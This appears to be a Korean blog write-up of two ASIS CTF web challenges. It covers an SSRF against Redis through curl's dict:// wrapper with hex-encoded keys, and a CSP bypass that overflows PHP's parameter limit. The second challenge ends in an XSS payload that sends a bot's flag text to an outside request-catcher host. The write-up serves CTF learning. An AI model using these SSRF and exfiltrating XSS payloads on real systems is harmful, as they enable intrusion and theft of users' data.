1. Cat Rater
from flask import Flask, render_template, session, request, redirect, flash
import subprocess
import secrets
import random
import redis
import uuid
import os
import re
app = Flask(__name__)
app.secret_key = secrets.token_bytes(32)
flag = os.environ.get('FLAG','ASIS{test-flag}')
rds = redis.Redis(host='redis', port=6379)
uuidReg = re.compile(r'^[\da-f]{8}-([\da-f]{4}-){3}[\da-f]{12}$', re.IGNORECASE)
@app.route('/')
def index():
return render_template('main.html')
@app.route('/rate',methods=['POST'])
def rate():
link = request.form.get('link')
if not link or re.search(r'[\x00-\x20\[\]%{}\-]',link) or not link.isascii():
return 'Invalid link', 400, {'Content-Type': 'text/plain'}
try:
p = subprocess.run(["/usr/bin/curl",link],capture_output=True,timeout=0.5)
if(p.returncode == 0):
resultID = str(uuid.uuid4())
rds.set(resultID,str(random.randint(1,9)))
return redirect(f'/result?id={resultID}')
except Exception as e:
print(e)
return 'Something bad happened', 500, {'Content-Type': 'text/plain'}
@app.route('/result')
def result():
rid = request.args.get('id')
if(not rid):
return 'Result ID is missing', 400, {'Content-Type': 'text/plain'}
if(not uuidReg.match(rid)):
return 'Invalid ID', 400, {'Content-Type': 'text/plain'}
result = rds.get(rid)
if(not result):
return 'Result not found', 400, {'Content-Type': 'text/plain'}
result = int(result)
if(result == 10):
return render_template('result.html', msg=flag)
else:
return render_template('result.html', msg=f'Your cat got {result}/10')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
redis로 db를 저장하고 있고 resultID의 값이 10일때 FLAG가 나온다.
그러나 resultID를 설정하는 부분에서 1~9의 값 중 하나로 설정해주기 때문에 저걸로는 절대 10을 만들 수 없다.
/rate부분에서 curl로 link에 get요청을 보내는데 이때 SSRF 가 터진다.
redis SSRF에서 대표적으로 gopher wrapper를 사용할 수 있다.
gopher://127.0.0.1:6379/_SET%20a%2010
이런 link를 작성하면은 a를 10으로 SET할 수 있다. 그러나 여기서 %를 막고있기 때문에 gopher wrapper로는 진행이 불가능하다.
하지만 대신 dict wrapper가 있다.
dict://127.0.0.1:6379/set:a:10
이 link는 위의 gopher link와 똑같은 역할을 한다.
그러면 id에다가 10을 저장하면 되는데 현재 id는 uuid형식이여야 하고 -가 들어간다.
하지만 -를 필터링하고 있으므로 다른 방법이 필요하다.
이때 dict wrapper에서 \x3d와 같이 hex encoding이 지원된다.
따라서 최종 payload는 아래와 같다.
# id = 3d83f437-6865-4e0e-a1a4-5d3980e4573c
dict://127.0.0.1:6379/set:"\x33\x64\x38\x33\x66\x34\x33\x37\x2d\x36\x38\x36\x35\x2d\x34\x65\x30\x65\x2d\x61\x31\x61\x34\x2d\x35\x64\x33\x39\x38\x30\x65\x34\x35\x37\x33\x63":10
참고 : https://www.cnblogs.com/CoLo/p/14214208.html
2. Dangling
bot이 있는걸 보니 XSS문제이다.
먼저 index.php부터 보겠다.
<?php
$name = 'Bob';
$flag = 'ASIS{test-flag} - Admin (bot) has the real flag';
if(isset($_GET['wrong-user'])){
echo 'username seems to be incorrect...';
die();
}
if(isset($_GET['name'])){
$name = $_GET['name'];
}
if(isset($_COOKIE['flag'])){
$flag = $_COOKIE['flag'];
if(isset($_GET['n'])){
$flag = substr($flag,0,intval($_GET['n']));
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Dangling</title>
<meta http-equiv="Content-Security-Policy" content="child-src 'none'; script-src 'sha256-shg8OlN4zY3doFkqbsOiT8wlfB7Qrrw/44M507cGP3M='; style-src 'sha256-XSx24vDv8OWR3fxnxv9Bc/yD/h8eec55vh7PNn63yNs=';">
</head>
<body>
<div>
Hey <?= $name ?>, just press the button to get your flag
</div>
<button id="btn">
Gimme flag
</button>
<flag id="flag"><?= $flag ?></flag>
<style>
body {
font-family: 'arial';
background-color: #DAD4B5;
text-align: center;
font-weight: bold;
color: #800000;
font-size: 20px;
}
div {
margin-bottom: 15px;
margin-top: 40px;
}
button {
margin-bottom: 10px;
background-color: #982B1C;
border: 0px;
font-size: 16px;
padding: 10px 20px;
font-family: 'arial';
border-radius: 1px;
color: #F2E8C6;
cursor: pointer;
}
#flag {
display: none;
}
#profilepic {
border-radius: 5px;
margin-top: 30px;
}
</style>
<script>
document.querySelector('#btn').onclick = _=>alert(document.querySelector('#flag').innerText)
</script>
</body>
</html>
name을 GET으로 받고 name을 화면에 띄우고 있다.
flag역시 마찬가지인데 name과 flag에서 XSS 취약점이 터진다.
그러나 현재 CSP를 설정해놔서 script를 실행시킬 방법이 없다.
PHP는 참 문제가 많은 언어이다.
Dreamhack의 buffalo wing이였나? 요 문제에서도 php의 특성을 활용해 csp bypass를 할 수 있다.
이 문제도 비슷할거라 생각하고 php csp bypass를 찾아보았다.
그러다가 흥미로운 영상을 발견했다.
https://www.youtube.com/watch?v=Sm4G6cAHjWM
php.ini에서 paramter 최대 갯수를 기본 1000으로 설정해 놓는다.
그러면 1000이 넘을 경우에? 에러가 나면서 header의 csp가 적용이 안되게 된다.
시험삼아 paramter를 엄청 길게 줘보고 script를 name에다가 넣어줬다.
http://dangling.asisctf.com/?name=<img%20src=x%20onerror=alert(1)>&n=20&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a
아니나 다를까 CSP가 body에 적용되고 스크립트가 실행되는걸 볼 수 있다.
그다음 FLAG만 얻어오면 되는데 bot의 스크립트는 아래와 같다.
#!/usr/bin/env node
const puppeteer = require('puppeteer')
const flag = process.env.FLAG || 'ASIS{test-flag}';
const webDomain = process.env.WEB_DOMAIN || 'whatever.asisctf.com';
async function visit(url){
let browser;
if(!/^https?:\/\//.test(url)){
return;
}
try{
browser = await puppeteer.launch({
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
"--ignore-certificate-errors",
],
executablePath: "/usr/bin/google-chrome-stable",
headless: 'new'
});
let page = await browser.newPage();
await page.setCookie({
httpOnly: true,
secure: false,
name: 'flag',
value: flag,
domain: webDomain,
sameSite: 'Lax'
});
page = await browser.newPage();
await page.goto(url,{ waitUntil: 'domcontentloaded', timeout: 2000 });
await new Promise(r=>setTimeout(r,6000));
}catch(e){ console.log(e) }
try{await browser.close();}catch(e){}
process.exit(0)
}
visit(JSON.parse(process.argv[2]))
FLAG는 cookie에 설정되어있는데 자세히 봐야할 점은 httpOnly가 true인 것이다.
이러면 script로 cookie에 접근할 수 없다.
대신 다른 방법을 봐야하는데 아까 php파일에서 flag쿠키값을 id가 flag인 flag태그에 저장하는걸 볼 수 있다.
따라서 그냥 id가 flag인 얘의 innerText를 긁어오면 된다.
최종 페이로드는 아래와 같다.
http://dangling.asisctf.com/?name=<img%20src=x%20onerror=location.href="https://upppcvc.request.dreamhack.games/"%2bdocument.getElementById('flag').innerText>&n=50&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a
+ 인텐
근데 이게 인텐 풀이가 아니다...
대회 끝나고 보니깐 이건 언인텐이었고 인텐 풀이는 아래라 한다.
w = window.open('http://dangling.asisctf.com/?name=asdf%3Ciframe%20sandbox%20src=%22about:blank%22%20%20name=%27&n=1')
w[`, just press the button to get your flag\n\t</div>\n\t<button id="btn">\n\t\tGimme flag\n\t</button>\n\t<flag id="flag">t</flag>\n\t<style>\n\t\tbody {\n\t\t\tfont-family: `]
사이트에서 스크립트 태그로 버튼을 찾아서 alert를 해주는데 그 버튼을 다른걸로 바꿔서 스크립트를 실행시키는... 뭐 그런 거 같다.
저거만 보고선 정확하게 모르겠는데 따로 시험해봐야겠다... ㄷㄷ
https://portswigger.net/research/trace-desync-attack
'Web Hacking > WriteUp' 카테고리의 다른 글
SECCON CTF 13 Quals 2024 Web Writeup (1) | 2024.11.26 |
---|---|
Buckeye CTF 2024 instructions Writeup (0) | 2024.10.01 |
WhiteHat School 2nd CTF SSH Tunneling Final Writeup (0) | 2024.09.05 |
Project Sekai CTF 2024 Web Writeup (0) | 2024.08.24 |
[CCE 2024] Advanced Login System WriteUp (0) | 2024.08.07 |